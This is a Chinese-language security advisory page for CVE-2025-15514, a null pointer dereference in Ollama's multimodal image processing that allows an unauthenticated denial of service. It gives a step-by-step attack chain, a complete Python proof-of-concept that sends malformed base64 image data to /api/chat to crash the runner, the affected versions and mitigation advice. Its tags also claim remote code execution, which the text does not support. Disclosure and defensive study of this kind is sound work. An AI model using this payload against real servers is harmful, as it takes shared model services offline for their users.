IPBUF安全漏洞报告
English
CVE-2025-15514 CVSS 7.5 高危

CVE-2025-15514 Ollama多模态图像处理空指针解引用拒绝服务漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2025-15514
漏洞类型
空指针解引用
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ollama

相关标签

空指针解引用拒绝服务Ollama多模态图像处理CVE-2025-15514base64高危漏洞远程代码执行AI框架

漏洞概述

CVE-2025-15514是Ollama AI框架中的一个高危拒绝服务漏洞。该漏洞存在于Ollama 0.11.5-rc0至0.13.5版本的多模态模型图像处理功能中。当用户通过/api/chat端点发送包含base64编码图像数据的请求时,应用程序在将数据传递给mtmd_helper_bitmap_init_from_buf函数进行图像解析前,缺少对解码数据有效性的验证。该函数在处理格式错误的图像数据时可能返回NULL指针,但代码随后在未进行空指针检查的情况下直接解引用该指针,导致程序崩溃。攻击者无需认证即可远程触发此漏洞,通过发送精心构造的恶意base64图像数据使服务进程崩溃,造成拒绝服务状态。在服务重启前,所有用户将无法使用该模型服务。此漏洞CVSS评分7.5,属于高危级别,对系统可用性造成严重影响。

技术细节

该漏洞的根本原因在于Ollama多模态图像处理流程中缺少输入验证机制。具体来说,当通过/api/chat端点接收base64编码的图像数据时,系统首先进行base64解码,然后将解码后的原始数据直接传递给mtmd_helper_bitmap_init_from_buf函数。该函数负责将图像数据初始化为内部位图格式。然而,对于非法的图像格式或损坏的图像数据,该函数可能返回NULL表示初始化失败。问题在于调用方代码没有检查这个返回值,而是直接对返回的指针进行操作,导致空指针解引用。当攻击者发送精心构造的base64数据,解码后为无效或畸形图像格式时,mtmd_helper_bitmap_init_from_buf返回NULL,随后的内存访问操作触发段错误(segfault),使当前运行的runner进程崩溃。由于Ollama的服务架构,进程崩溃会导致模型服务不可用,需要手动重启服务才能恢复。攻击者可以通过持续发送恶意请求实现持续的拒绝服务攻击。

攻击链分析

STEP 1
步骤1
攻击者识别目标服务器上运行的Ollama服务,确认版本在0.11.5-rc0至0.13.5范围内
STEP 2
步骤2
攻击者准备包含多模态模型的聊天请求,通过/api/chat端点发送
STEP 3
步骤3
在请求中嵌入精心构造的base64编码图像数据,解码后为无效或畸形图像格式
STEP 4
步骤4
Ollama服务器接收请求并进行base64解码,将解码后的数据传递给mtmd_helper_bitmap_init_from_buf函数
STEP 5
步骤5
mtmd_helper_bitmap_init_from_buf函数因输入无效而返回NULL指针,但代码未检查此返回值
STEP 6
步骤6
后续代码对NULL指针进行解引用操作,触发空指针解引用,导致段错误(segfault)
STEP 7
步骤7
Runner进程崩溃,模型服务不可用,直到服务被手动重启才能恢复

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import base64 import json # CVE-2025-15514 PoC - Null Pointer Dereference in Ollama Multi-modal Image Processing # Target: Ollama server running with multi-modal model support (e.g., llava, bakllava) TARGET_URL = "http://target:11434/api/chat" MODEL_NAME = "llava" # Generate malformed/invalid image data that will cause mtmd_helper_bitmap_init_from_buf to return NULL # This is a minimal invalid BMP header that will pass base64 but fail bitmap init INVALID_IMAGE_DATA = base64.b64encode( b'\x00\x00\x00\x00\x00\x00\x00\x00' + # Invalid BMP-like header b'\xff\xd9' * 100 # Malformed JPEG end markers ).decode('utf-8') def exploit_cve_2025_15514(): """ Exploit for CVE-2025-15514: Ollama multi-modal image processing null pointer dereference This PoC sends malformed base64 image data via /api/chat endpoint to crash the runner process. """ payload = { "model": MODEL_NAME, "messages": [ { "role": "user", "content": "What do you see in this image?", "images": [INVALID_IMAGE_DATA] } ], "stream": False } try: print(f"[*] Sending malformed image data to {TARGET_URL}") print(f"[*] Target model: {MODEL_NAME}") print(f"[*] Image data length: {len(INVALID_IMAGE_DATA)} bytes (base64)") response = requests.post(TARGET_URL, json=payload, timeout=10) print(f"[!] Response status: {response.status_code}") print(f"[!] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[+] Exploit sent successfully - Target may be crashed: {e}") print("[+] The runner process should have crashed due to null pointer dereference") return True return False if __name__ == "__main__": exploit_cve_2025_15514()

影响范围

Ollama 0.11.5-rc0
Ollama 0.11.5
Ollama 0.12.0
Ollama 0.12.1
Ollama 0.12.2
Ollama 0.12.3
Ollama 0.12.4
Ollama 0.13.0
Ollama 0.13.1
Ollama 0.13.2
Ollama 0.13.3
Ollama 0.13.4
Ollama 0.13.5

防御指南

临时缓解措施
如果无法立即升级到最新版本,可以采取以下临时缓解措施:1) 在Ollama服务前部署Web应用防火墙(WAF),对/api/chat端点的图像数据进行格式验证;2) 限制多模态模型的网络访问,只允许受信任的IP地址访问;3) 实施请求速率限制,防止攻击者通过大量请求造成持续拒绝服务;4) 部署进程监控脚本,当检测到runner进程异常退出时自动重启服务;5) 考虑使用容器化部署,通过容器重启策略快速恢复服务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表